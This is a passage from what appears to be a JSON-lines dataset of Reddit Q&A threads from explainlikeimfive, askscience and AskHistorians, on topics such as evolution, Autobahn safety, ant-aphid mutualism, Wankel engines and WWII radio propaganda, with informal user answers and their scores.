tree.  Then its kids had longer necks, and they stretched theirs even more, and so on until we get a giraffe.  This isn't quite how things work.\n\nInstead, natural selection is based on genetic traits, which are present from birth, or which are caused by mutations.  So using that same example of the horse-y giraffe:\n\nWe start with that same African horse thing, and let's say it has a 1-foot neck.  It has 3 kids, and due to random variations in their DNA, one is born with a neck that is 11 inches, one with a foot-long neck, and one with a 1foot, 1 inch neck.  All three of them are struggling to survive, and in this environment (lots of animals fighting for low-down leaves), the short-necked brother dies, the medium-necked one lives long enough to have one kid, and the longest-necked one lives to old age and has 3 kids, all with necks around his length.\n\nNow what's happened?  We have a generation of 4 giraffes, with one medium neck, and 3 slightly longer necks.  It's not that the animal adapted its bodily functions - it's that it was lucky enough to be born different, and that difference helped it survive in this environment.  Repeat this thing for a few million years, and small neck changes add up and add up until you slowly get to modern giraffes.\n\nIt's the same with all other species in the world.  A white mouse's cells/brain/whatever didn't say \"Man, there's a lot of dirt around here, we should switch and become browner.\"  White mice and brown mice were born, and the brown mice survived and bred, while the white mice were hunted and killed (in this made-up environment).\n\nTL;DR Natural selection isn't about changing during one's lifetime: it's about being born lucky.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "enfnmq", "title": "When did black people in the United States become part of the professional work force?", "selftext": "If you look at films in the 1950s there are very few black people represented as part of the professional work force (lawyers, doctors, engineers, etc). But by the 1970s there are definitely representative films.\n\nDo the film representations (documentation, movie, tv show) represent reality? Did black Americans in the US start becoming part of the professional work force in those 20 years?\n\nWhat is the reality?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/enfnmq/when_did_black_people_in_the_united_states_become/", "answers": {"a_id": ["femsgom"], "score": [16], "text": ["I have to defer to those who study film and studios history regarding who appeared on the screen when but can speak to the role of Black Americans in the professional workforce in the first half of the 1900s as it related to education.\n\nWashington DC's high school system is unique in this country as the city funded Black and white schools at same level during a population boom in the late 1800s. In effect, it was an embodiment of the idea of \"separate but equal.\" Black high schools were on par to the safety and hygiene levels as white schools, they received the same amount in discretionary curriculum funds, and the city hired talented, well-educated, well-connected principals in each of the schools.\n\nYet, a survey of who was doing the actual teaching provides insight into your question. The teachers at the white high schools were well-trained teachers, virtually all graduates from Normal (teacher prep) colleges. The teachers at the Black schools, however, were historians, scientists, authors, and creatives. In effect, because well-educated Black Americans were denied positions in their fields by most white-owned firms and companies, they often turned to teaching. The clearest example of this can be seen in the faculty of Dunbar High School.\n\nFrom a [previous question](_URL_0_) on what happened inside segregated schools (a reminder that DC's funding parity was unusual) \n\n >  Anna Julia Cooper was the principal [of Dunbar] in the 1890's and helped establish the culture and curriculum. Cooper had a classics education (often showing up for classes at Oberlin that women weren't allowed to register for and simply taking a seat) and believed that in order to be successful, her students needed a similar education. According to her writing, she saw a classics education as serving two goals: first, it provided her students (known as \"scholars\") with a quality education which would enable them to be problem-solvers, advocates, and teachers themselves and it would give them the knowledge necessary to move among the educated white population.\n >  \n >  At Dunbar, the all Black student body studied Latin, Greek, logic, multiple branches of mathematics and sciences, and history. Given how difficult it was for Black and African Americans to get jobs in their chosen field, a large percentage of the teaching faculty had their PhDs, were published authors, scientists, or mathematicians. Remarkably, the man seen as the father of Black history, Carter G. Woodson, was a teacher at the school. He was working on his PhD and getting ready to begin publishing *The Journal of Negro History*, and his curriculum included a more nuanced view of American history than could be found at a nearby white high school. The exact specifics of what children did in his class is unknown to us but multiple graduates, including Nannie Helen Burroughs and Charles R. Drew, wrote about the \"Dunbar difference\" and how their experiences shaped their Black and their American identity.\n\nThe presence of highly-trained Black scientists, authors, historians, etc. among the ranks of American teachers would continue until *Brown v. Board* in 1954, which led to the firing of thousands of Black educators as white district administrators closed Black schools. And again, individual motivations vary, but it's safe to say that most Black Americans who sought advanced degrees in a given profession were interested in working in that profession. There was the optimistic sentiment in higher education that as more Black students enrolled at Predominately White Institutions (as opposed to HBCUs - Historically Black Colleges and Universities), the professional firms that hired graduates would likewise expand the pool of who they hired. Unfortunately, that didn't happen. However, and I'm getting at the limits of what I can speak to, it's my understanding that in the 1950s and 1960s Black-led organizations including HBCUs sororities and fraternities expanded their professional networking, creating a support system for Black professionals after they left higher education. \n\nSo, to summarize, the shift that happened in the later half of the 20th century was the increased presence of Black professionals among white professionals due to the elimination of explicit segregation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/99y81c/what_was_the_curriculum_like_in_segregated_public/e4rzv5n/"]]}
{"q_id": "4pbdzj", "title": "why are there so few accidents on the autobahn compared to the traffic it gets?", "selftext": "The Autobahn in Germany accounts for about 31% of all traffic in Germany, but only 11% of traffic deaths in Germany. I would've imagined people would crash much more frequently going speeds in excess of 120.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4pbdzj/eli5_why_are_there_so_few_accidents_on_the/", "answers": {"a_id": ["d4jicwt", "d4jj68f", "d4jjcev", "d4jlp5n", "d4jpl4t"], "score": [15, 13, 3, 18, 10], "text": ["Since im from germany and experienced highways in other countries aswell, I'd say because nearly everyone respect the rules regarding the lines, when to blink etc just the simple basics you get taught in driving school...", "There is less chance of an accident on Highways than other roads. This applies to every civilized country. ", "There's no oncoming traffic or tricky junctions on the autobahn, the roads are wide and straight and everyone's going the same way. You might be doing 120 but there's rarely gonna be anything unexpected you have to react to. ", "Traffic engineer here.\n\nRoad traffic accidents (RTA's) will occur more often at junctions (crossroads, roundabouts, t junctions etc) when compared to any kind of dual carriageway \\ freeway \\ motorway \\ autobahn \\ whatever. \n\nThe reason for this is simple - at junctions theres more conflicting movements at junctions and lower speeds; as a result people tend to be cheekier (ambler gamblers, low gap acceptance) at junctions.  \n\nAt junctions, where speeds are typically lower, accidents happen more frequently because of drivers said cheeky behaviour resulting in bumps and scrapes at junctions. Even head ons at low speeds are very survivable. \n\nSo because of the conflict, the likelihood is high, but the severity of an accident is very low (think whiplash or broken legs). \n\nOn higher speed roads, such as the autobahn, there is much less in the way of conflicts; everyone is going generally the same direction at roughly the same speed; the likelihood of an accident happening is relatively low.\n\nHowever, if you do have an accident, because youre travelling much faster your accident is going to be very severe (think human brain pate on your windscreen and your legs somewhere *over there*).\n\nHope that helps. Ask away if you have any folllow up q's.", "(Lived in Deutschland for three years). Because the Autobahn has rules that people follow.  For example, the Polizei can ticket you for BEING PASSED on the right.  You hear that folks here in the US?  If you're being passed on the right, YOU'RE FUCKING UP AND SHOULD GO HOME TO RETHINK YOUR LIFE!!!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "h4gmv", "title": "In caveman times, what would most humans have died from?", "selftext": "Would it have been starvation, disease, just plain old age, battles with velociraptors or what?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h4gmv/in_caveman_times_what_would_most_humans_have_died/", "answers": {"a_id": ["c1si7cw", "c1skdla", "c1skg4q", "c1slkzz", "c1sn5uj"], "score": [63, 3, 2, 2, 2], "text": ["Vast majority died in childhood, probably from infection, starvation, and dehydration. Once you made it to about [age 15](_URL_0_), you could expect to live into your 50's and beyond.  They probably died of pretty much the same things people die of today: heart disease, kidney disease, liver failure (especially if you have lots of parasites).  Probably more from infections than nowadays. \n\n > battles with velociraptors\n\n & #3232;\\_ & #3232;\n\nYou realize you are in askscience, right?\n", "I would like to say the [thagomizer](_URL_0_) but humans didn't live at the same time as dinosaurs.", "I think the process of childbirth was one of the most dangerous events for mother and child.", "How would a caveman's immune system compare to ours? ", "Pathogens have always been our greatest natural predators. Bacterial, parasitic and viral infections have always been a huge driving force behind evolution. Huge plagues that wiped out a great percentage of a population would thus select for those who were immune, as they would be the most likely to survive. That's why sub-Saharan African populations have alleles for sickle shaped red blood cells, which, though they can cause anemia, are strong protection against malaria. That trait exists because disease selected for it. Similar to European resistance to small pox, vs. the Aztecs' lack of resistance (along with everyone else native to the Americas).\n\nIn serious caveman times (paleolithic, perhaps?) starvation was not as common as it was in early agricultural times, when famine would wipe out farming communities. It still happened though, and it probably influenced how efficiently we store fat. Dehydration due to drought happened, but that wasn't a major cause of death, pre-agriculture. The ones who died of dehydration were usually babies, and sometimes adults, with a pathogen infection causing severe diarrhea (ie: the large intestine is not reabsorbing water properly). Again, microbial pathogens. Woohoo!\n\nSorry, I'm a pathology major... :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Life_expectancy#Life_expectancy_variation_over_time"], ["http://en.wikipedia.org/wiki/Thagomizer"], [], [], []]}
{"q_id": "6e4kvm", "title": "why they call it 'luke-warm'? who's luke?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6e4kvm/eli5_why_they_call_it_lukewarm_whos_luke/", "answers": {"a_id": ["di7l4fx", "di7l554"], "score": [14, 8], "text": ["Luke is derived from Lewk, which was a synonym for tepid that people don't use anymore. \n\nAlso I'm usually all for using ELI5 for concepts and subjects, but most words, phrases, idioms, etc, have easily accessible histories if you just type them into google. Unlike many questions, this is one of those things that would have been far faster and easier to just google. Have a good evening though! ", "Luke comes from an old middle English word for \"tepid.\" It existed in other words such as luke-hot and luke-hearted. It is all but obsolete, surviving only in the word lukewarm."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2kusj6", "title": "why isn't it mandatory for people to retake their drivers licence test every 5/10 years?", "selftext": "Aside from the potential hassle, I feel like so many more accidents could be avoided that it would be worth the trouble as it would force people not to develop bad driving habits.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2kusj6/eli5_why_isnt_it_mandatory_for_people_to_retake/", "answers": {"a_id": ["clows45", "clowtb9", "clowwf4", "cloxhgi", "clp0v4f"], "score": [2, 3, 19, 3, 3], "text": ["Because no government which will introduce this sane rule will survive the onslaught in the (social) media.", "I don't know why this isn't a thing. I spose its because it would have to be voted on and no one wants to retake the test. This would mostly be to get  older people off the road. Personally I would love to see retesting mandatory. It is absolutely a fact that as you age, if you haven't kept your mind healthy and elastic, then your reaction time and general cognitive ability goes way down. How do we make this happen?\n", "It's assumed that if you haven't gotten any major speeding tickets, been in any major accidents, etc. that you don't need to be retested.\n\nThe hassle of retesting everyone would be an enormous hassle. Look at how crowded DMVs and DriveTest Centres are already.\n\nIt's a cost-benefit kind of thing. If 1% of drivers are bad enough to have their license taken away, then is it worth the hassle of testing 100% of drivers?", " > Aside from the potential hassle\n\nThat's just it, it's a huge hassle.\n\n >  it would be worth the trouble as it would force people not to develop bad driving habits.\n\nNot sure I agree with that, in Ontario you get your G2 which allows you to drive alone, and you have 4 years to get your full G license. I didn't get my full license until the week before my G2 expired. During that time I speeded all the time and got a hefty ticket. It wasn't hard to just slow down for a test and then speed back home with my new license. Even now I have a bad habit of launching every time I come out of a stop. If I was to be tested tomorrow I just wouldn't launch. It's not going to change bad habits if every 5 years I just have to pretend like I'm a saint for 20 minutes.", "In New Zealand you have to go back every 10 years (when your licence expires) and if you have a medical or eyesight change you need to get a certificate for that. \n\nIt's also way easier here as you don't need to go to a government office-- just the local AA or VTNZ. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1ly1px", "title": "Do ants selectively breed aphids or fungi the same way humans do with cattle or crops?", "selftext": "I've read that certain species of ants will cultivate food either by [farming fungus](_URL_1_) or [keeping aphids](_URL_0_).  \n\nIs there any evidence that the ants selectively breed either the aphids or the fungi in order to produce more desirable results?  \nI'm wondering if there are any parallels to say the different breeds of cattle (Holstein vs. Angus)? Or if they somehow affect the fungus to produce higher yields (similar to farmers using different strains of corn)?\n\nIf there is evidence of this type of phenomena, is it an indirect result of slow evolution, where the best-suited species naturally became more prominent, or is it a direct result of the ants intervening to produce better immediate results?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ly1px/do_ants_selectively_breed_aphids_or_fungi_the/", "answers": {"a_id": ["cc3xufo", "cc3y1ce", "cc3y24i", "cc3zaur"], "score": [584, 6, 359, 25], "text": ["No. Selective breeding or artificial selection is a very different process. We actively look for individuals with traits we are interested in and pair them with other individuals. We screen offspring for the traits we like and apply very strong selective forces by only breeding a very few individuals in each generation. This does two things. First we generate a lot of variation in the process of selectively breeding certain individuals. Second we remove a lot of unwanted variation in subsequent generations. This produces rapid and dramatic shifts in the traits of interest. Ants are certainly not capable of this.\n\nThat is not to say ants don't exert selection on their fungus or aphids. they most certainly do. It just happens in a different way. Much slower, with less direction and intent. They are coevolving with these organisms, but not consciously directing their evolution.\n\nBTW, Fantastically interesting question!", "This is a complex question. It is certain that in having a symbiotic relationship, if being engaged in the relationship induces higher reproductive fitness, those individuals will out-breed those less likely to be in the relationship. E.g. aphids travel more slowly on ant trails. Also it is expected that those ant colonies that take better care of the aphids will out compete colonies that are less good at doing so. \n\nThat being said, your question is very specific as to the nature of the adaptation. It would require a specific mutation manifesting in a complex behavior of the ant to actively weed out \"bad\" aphids, and while not being impossible, is not necessary as there is a multitude of other possible inherited traits that promote symbiosis between the two species. It is possible that such an adaptation could be identified through naturalistic observation, say, if an ant is identified to selectively kill certain aphids. Anyways, while not having been observed to my knowledge it is not out of the question, especially considering the diversity and complexity of behavior between species of ants. \n\nHerding aphids", "The Catholic University of Leuven, Belgium conducted a study of the interactions of ants towards aphids to discover if the ants would \"punish\" the lower quality aphids.\nHere is an excerpt from the study, \"The aim of the present study was to find out whether ants have any mechanisms available to \u2018punish\u2019 such low-quality melezitose-deficient clones, for example by reducing their visit rate and level of protection against natural enemies. Surprisingly, we found that the visit rates of low-melezitose-secreting clone colonies were no different from those composed of normal, high-melezitose-secreting clones. Nevertheless, our results suggest that ants were more likely to collect honeydew from the high-melezitose-secreting clones. Overall, we conclude that the stability of this particular ant\u2013aphid mutualism is not maintained by active punishment and argue that this may be the reason why the low-melezitose-secreting clones manage to attain such high frequencies in natural populations.\"\n\nAnother study was done by the University of Bern, Switzerland and University of Mainz, Germany to discover if black garden ants discriminated against aphids based on their cuticular hydrocarbons. \nThis study found that \"Lasius niger invariably attacked nonmyrmecophilous species, but antennated myrmecophilous aphids. This differentiated reaction was shown towards living and dead aphids, but could also be elicited using dummies covered with aphid cuticular hydrocarbons. Neutral control objects were antennated, but the ants quickly lost interest. Thus, L. niger uses aphid cuticular hydrocarbons to discriminate between different aphid species.\"\n\nOverall, the ants observed in these studies did appear favor the higher sugar producing aphids however, they do not appear to select against the lower producing aphids (no selective breeding). The ants also appeared to discriminate selectively between different species of aphids based on cuticular hydrocarbons.\n\nSources: \nAnimal Behaviour Volume 83, Issue 1, January 2012, Pages 257\u2013262\nAnimal Behaviour Volume 82, Issue 6, December 2011, Pages 1245\u20131254", "I'm posting this again in this thread for visibility:\n\nThere does seem to some evidence for artificial selection by ants. It seems that attine ants (Formicidae attini) can tell the difference between different cultivars of the fungus they farm. If they simply grabbed which one was closest, then we wouldn't really find any aspect of choice, when it is indeed quite the opposite. There seem to be certain traits (as yet to be elucidated) that either are strongly preferred by the ants, or rejected entirely. Why would this \"pickiness\" evolve if the ants were not exerting some strong selective forces on the fungi? Some benefits of the ant-fungus mutualism that are likely the product of this continued coevolutionary relationship are the substrate on which the fungi grows and production of antibiotics (which can become utilized by the insect once consumed).\n\nAt the end of the day, I suppose it's semantics. It is a \"natural\" process and not an anthropogenic one, so I can see the hesitation to give it the artificial nomer. But if we are considering exerting strong selective pressures on one species to better the acting species, then it most certainly fits that definition.\n\nSources:\nMueller, U.G., N.M. Gerardo, D. Aanen, D. Six  &  T. Schultz. 2005. The evolution of agriculture in insects. Annual Review of Ecology, Evolution and Systematics 36: 563-595.\nMueller UG, Poulin J, Adams RMM. 2004. Symbiont choice in a fungus-growing ant (Attini, Formicidae). Behav. Ecol. 15:357\u201364.\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Aphid#Ant_mutualism", "http://en.wikipedia.org/wiki/Ant-fungus_mutualism"], "answers_urls": [[], [], [], []]}
{"q_id": "f2gkfw", "title": "Is there a difference between emitted fluorescent photons under different absorption regimes?", "selftext": "This is probably a poorly worded question, but that's part of what led me here instead of being able to find a paper for this. If I want to consider an emitted fluorescent photon, is there a difference if that fluorescent photon was created through a one photon absorption or a two photon absorption? I know 1PA and 2PA have different selection rules for electronic state transitions, but does this translate into any measurable difference in the subsequently emitted photon?\n\nIf possible, could you also point me towards any sources so I can read up on this topic? Thank you in advance", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f2gkfw/is_there_a_difference_between_emitted_fluorescent/", "answers": {"a_id": ["fhcv9eh"], "score": [3], "text": ["The answer is yes, how much depends on the protein and other factors. [This](_URL_0_) paper goes into a lot of detail and looks at 2 photon absorption factors of a bunch of commonly used proteins."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4772972/#!po=1.92308"]]}
{"q_id": "460duh", "title": "why can my wife, who's sitting a foot away from me, smell something disgusting while i'm sitting here smelling nothing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/460duh/eli5_why_can_my_wife_whos_sitting_a_foot_away/", "answers": {"a_id": ["d01go6m", "d01hplr"], "score": [15, 3], "text": ["Maybe you're just used to your body odor? ", "There is an old proverb: \"whomever smelt it, dealt it\". It think your wife might be dropping SBD's."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9ylu4k", "title": "why is gas not affected by gravity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ylu4k/eli5_why_is_gas_not_affected_by_gravity/", "answers": {"a_id": ["ea2av9c", "ea2b0hy", "ea2bwr9", "ea2cxni"], "score": [19, 7, 3, 2], "text": ["It is affected by gravity. Just the heavier gases get pulled down and this causes lighter gases (like helium) to rise. \n\nEdit: I made a typo", "Gas is affected by gravity because it has mass. Some gasses are less dense than air and they can appear to float away. Helium is an easy example where the gas is much less dense than the air you are breathing. When a helium balloon floats, it is being pushed up by the heavier air around it. This is similar to a bubble rising in water.", "Easy comparison: we live on the bottom of an \"ocean\" of air. Just like the water isn't moving down in the ocean because it's supported by the water below it, the gasses aren't moving down because they're supported by gasses below it.\n\nThe comparison doesn't explain everything though, but it does explain this. Gasses will fill whatever container they're in and liquids do not, so there isn't really a \"surface\" above the atmospheric ocean like there is with a watery ocean. In fact, the closer to ground level you are in the atmosphere, the higher the density of the air because all the air above it is compressing it.", "There are gasses heavier than air, which leads to this amusing science trick: \n\n_URL_0_\n\nOnly gasses that are light enough float away, but they still are affected by gravity, they just overcome it.\n\nThis effect as shown in the video is actually way more present and dangerous than people suspect.\n\nEach year people die when they climb into emptied watertanks, wells and such. These underground vessels can be filled with gasses heavier than air, displacing all then oxygen inside. And when you go inside, it'll take mere moment for you to pass out and die.\n\nNever climb into a well or tank if you don't know what you're doing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/N9vvJQniYsc"]]}
{"q_id": "494q87", "title": "why do we \"pat\" objects/animals to help reassure them or ourselves about the current situation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/494q87/eli5why_do_we_pat_objectsanimals_to_help_reassure/", "answers": {"a_id": ["d0p1sdk", "d0pkfyf", "d0puaqg"], "score": [103, 18, 2], "text": ["Contact comfort is essential for the formation of parent-child attachment, especially in mammals and birds. Most research in this area comes from [Harry Harlow's](_URL_0_) (1962) experiments with rhesus monkeys. Pleasant contact is also associated with the release of [oxytocin](_URL_1_), a hormone associated with forming and maintaining social relationships. So touching animals biochemically strengthens attachment for both humans and animals. Of course, for animals that don't develop social bonds early in childhood (e.g., lizards) touch won't have the same effect.", "Here is how I would explain it to a five-year-old:\n\nWe pat our pets on the head because when they were little kittens or puppies their mommies would lick their heads.  When we do it with our hands, it makes the animal feel loved.", "I love having my head patted , I find it extremely comforting .\n\nNever really thought much about it , but through a discussion about it over a family meal we decided that the reason was that I was a breech baby and the patting emulates the pulse of my mothers heart beat .\n\nNo idea if this can be scientifically correct or not , but either way , you just can't beat a good head pat !"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://muskingum.edu/~psych/psycweb/history/harlow.htm", "https://newsinhealth.nih.gov/2007/february/docs/01features_01.htm"], [], []]}
{"q_id": "drqlbc", "title": "What's the primary reason that Wankel rotary engines are not nearly as efficient as typical 4-stroke piston engines?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/drqlbc/whats_the_primary_reason_that_wankel_rotary/", "answers": {"a_id": ["f6lot1g"], "score": [12], "text": ["The design of a wankel engine incorporates a moving fuel chamber, whereas a piston engine merely compresses fuel. In addition wankel engines tend to reach a higher compression in a different shape. (Piston: cillindrical, Wankel: thin flat strip) Due to the rotating fuel and compression shape in the wankel engine there are some negative effects on fuel ignition. At increasing rpm's gasoline can't burn up and efficiency drops while fuel consumption rises. There are hydrogen mixtures that ignite much faster and hotter that reduce this effect. \n\n\nDue to their design the following differences arise:\n\nWankel engines require less space, deliver more power, reach much higher rpm's, and vibrate less than piston engines. They however burn much more fuel, consume more oil, and wear much faster than piston engines as a result."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a6h8lc", "title": "Can someone help me find a reliable source about the eccentric Zhang Zongchang's poetry?", "selftext": "I think the Chinese Warlord Zhang Zongchang is an absolutely hilarious historical figure. Paticularly, I think his poetry is amazingly terrible and I love it. However, I've scoured the internet and I can't find any valid sources saying that he wrote and published it, or that it even existed at all. It's been circulated on small blogs and forums [such as this article](_URL_0_) but I can't find anything legitimate. \n\nAny ideas? I *really* want this poetry to be real ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a6h8lc/can_someone_help_me_find_a_reliable_source_about/", "answers": {"a_id": ["eburp89"], "score": [3], "text": ["Here's a few examples of his alleged poetry:\n\n---\n\n**\u201cPraying For Rain\u201d**\n\nThe sky god is also named Zhang\n\nWhy does he make life hard for me\n\nIf it doesn\u2019t rain in three days\n\nI\u2019ll demolish your temple\n\nThen I\u2019ll have cannons bombard your mom\n\n---\n\n**\u201cUntitled\u201d**\n\nSomeone asks me how many women I have\n\nI really don\u2019t know either\n\nYesterday a boy called me \u2018dad\u2019\n\nI don\u2019t know who his mother is\n\n---\n\n**\u201cVisiting Mount Tai\u201d**\n\nFrom afar, Mount Tai looks blackish\n\nNarrow on top and wide at the bottom\n\nIf you flipped it upside down\n\nIt would be narrow at the bottom and wide on top"]}, "title_urls": [], "selftext_urls": ["http://thissiteisbestviewed.com/2018/11/24/the-profane-poetry-of-zhang-zongchang/"], "answers_urls": [[]]}
{"q_id": "3kfyug", "title": "the scientific and cultural signigicance of homo naledi", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kfyug/eli5_the_scientific_and_cultural_signigicance_of/", "answers": {"a_id": ["cux3yuu", "cux3zg2"], "score": [100, 7], "text": ["First, it is the most comprehensive collection of human ancestors ever found. People can spend their careers on one skull - here they can study 1500 bones from multiple individuals. And there are thousands more still in the ground. \n\nSecond, it appears to be a site. I am an archaeologist, and I am interested more than just in bones - I want to know how people lived. How did they use an area? How did they treat their dead? All last discoveries in 100 years have been isolated bones that don't tell us that much about behavior (save Neandertals and some older Homo Erectus sites from the past 400,000 years). This site seems to be an intentional laying down of the dead. For the first time, we have information on them - and they are not behaving like Chimpanzees - they are acting more human. \n\nThird, they look weird compared to our expectations after almost 100 years of study. They walk on two legs like a human, but they have a brain the size of a chimpanzee. But their teeth look more like ours than the other fossils found in the past. It suggests that a lot of what we have seen so far has been misleading. \n\nOr... there was another species of humans that acted like us but didn't lead to us. Our ancestors weren't the first smart people to walk around. \n\nThe only problem with the site is that we don't know how old it is. It could be 100,000 years old, it could be 3 million years old. All we know right now is that it changes everything. ", "One significant finding of it is the burial chamber. Burying corpses was seen as something relatively human, and now it brings up questions of what makes us human, and when did those qualities start. Apparently some of them may have started 3 million years ago which is exciting for science and sociology!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3q5qjb", "title": "Can animals tell if others of their kind suffer from significant mutation, and does it affect how they socialise?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3q5qjb/can_animals_tell_if_others_of_their_kind_suffer/", "answers": {"a_id": ["cwcnwj1", "cwco1vw", "cwcqnsb", "cwctvsf"], "score": [8, 95, 29, 8], "text": ["Some lions in the wild will attack  other lions if they are having seizures etc. There is a specific disease that causes it.\n\nAlso there is some speculation that Roy, from Zigfreid and Roy, was being \"helped\", not attacked by Manticore whem the tiger saw him having a stroke or seizure.", "Yes. Animals can absolutely tell if others of their kind suffer a significant mutation. The key word here is Significant. \n\nMany mutations are neutral, they neither hinder nor help the organism. Sometimes, the mutation is deleterious, and damages the fitness of the organism. Rarely, a mutation is beneficial, and helps the organism.\n\nThe vast majority of mutations will not be recognized by any animal, as most mutations won't have a visible affect on the organism.  That being said, a SIGNIFICANT mutation would drastically alter the appearance and/or behavior of the organism, this would undoubtedly result in an inability for the organism to function socially. \n\nThe reason for this avoidance from an evolutionary standpoint is that a mutation that changes the form or function of an organism is almost always a change for the worse. So species have become selective with regards to acceptance and mating, if an animal senses something is wrong with another, it will shun it, or even attack it in some cases. This is to protect the genetic integrity of the population, not by conscious decision, but by instinctual influence.\n\nHumans are not immune to this, our history is rife with stories of malformed babies being abandoned at birth. It is a common genetic theme. \n\n\nEdit: TLDR Yes, other animals can tell, and yes it would have an affect on social interaction, provided the mutation was significant enough. ", "I've heard of one example... but it may have been developmental:\n\n[There is an unidentified whale with a 52Hz whale-song, which is significantly higher than most other whales.](_URL_0_) As a result, no other whales communicate or socialize with it. It is often referred to as the loneliest whale on earth.\n\nAs I said, it may have been a developmental rather than genetic.", "Fruitfly mutations are sometimes identified by inspecting the flies that are isolated. There's a great book, [Time, Love and Memory](_URL_0_), that details how a lot of fruit fly mutations were identified.\n\n Gay flys are ostracized by the heterosexual males. Flies whose sense of timing is off can't dance the mating dance correctly and end up being ignored. Some flies can't count correctly and again, screw up the mating dance. Some flies walk in circles and again, can't dance the dance. \n\nSo yeah, flies can tell sometimes and when they can, the mutant is ostracized."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/52-hertz_whale"], ["http://www.amazon.com/Time-Love-Memory-Biologist-Behavior/dp/0679763902"]]}
{"q_id": "17me7i", "title": "Can electromagnetic forces also cause spacetime frame dragging?  Like what one would observe a few miles from a magnetar?  ", "selftext": "Could extremely strong rotating magnetic fields cause spacetime distortions or frame dragging?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17me7i/can_electromagnetic_forces_also_cause_spacetime/", "answers": {"a_id": ["c86x3qs"], "score": [11], "text": ["Yes, electromagnetic fields deform spacetime. Everything that has energy density (and/or momentum density or momentum flux) contributes to curving spacetime. This is quantified by the stress-energy tensor T, which sources the curvature in Einstein's field equation\n\n    [; G_{ab} = 8\\pi G_N T_{ab}. ;]\n\nwhere G is the Einstein curvature tensor (which is the trace-reverse of the Ricci curvature tensor), and G_N is Newton's gravitational constant (and I have set c=1).\n\nNow electromagnetic fields have a stress-energy tensor\n\n    [; T_{ab} = F_{ac} F^c_{\\ b} - \\frac{1}{4} g_{ab} F_{cd} F^{cd} ;]\n\nwhere F is the electromagnetic field strength tensor.\n\nIt turns out that gravitomagnetism is sourced by the time-space (rather than space-space or time-time, i.e. the 0i rather than 00 or ij) components of the stress tensor. For the electromagnetic field, this corresponds to an electromagnetic *flux*, not just a static magnetic field."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1hvpcr", "title": "WWII Radio Propaganda: Were there any Allied equivalents to \"Tokyo Rose\" and \"Axis Sally\"?", "selftext": "I'm curious to know if the Allies ever sponsored radio programs targeted at the Axis with formats similar to those the Axis targeted at the Allies. \n\n\nWere there American, Russian, or British equivalents to Tokyo Rose, Axis Sally, and Lord Haw-Haw? Maybe Ezra Pound too? What were their broadcasts like?\n\n\nWikipedia mentions some British and American propaganda meant for domestic consumption, like Roosevelt's fireside chats and programs meant to counter Axis radio programs. There's also a mention of the Voice of America, but no specific DJ or on-air personality that acquired a level of fame or infamy.\n\n\nAny general insights you may have about radio propaganda are welcome too.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hvpcr/wwii_radio_propaganda_were_there_any_allied/", "answers": {"a_id": ["cayed33"], "score": [5], "text": ["British intelligence produced this video \n\n_URL_0_ \n\nshowing Nazi troops marching to the rhythm of 'The Lambeth Walk', a popular novelty dance song of the time. \n\nIt was smuggled in to cinemas in occupied territory. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.co.uk/search?q=lambeth+walk+goebbels&amp;oq=lambeth+walk+goebbels&amp;aqs=chrome.0.57.4879j0&amp;sourceid=chrome&amp;ie=UTF-8"]]}
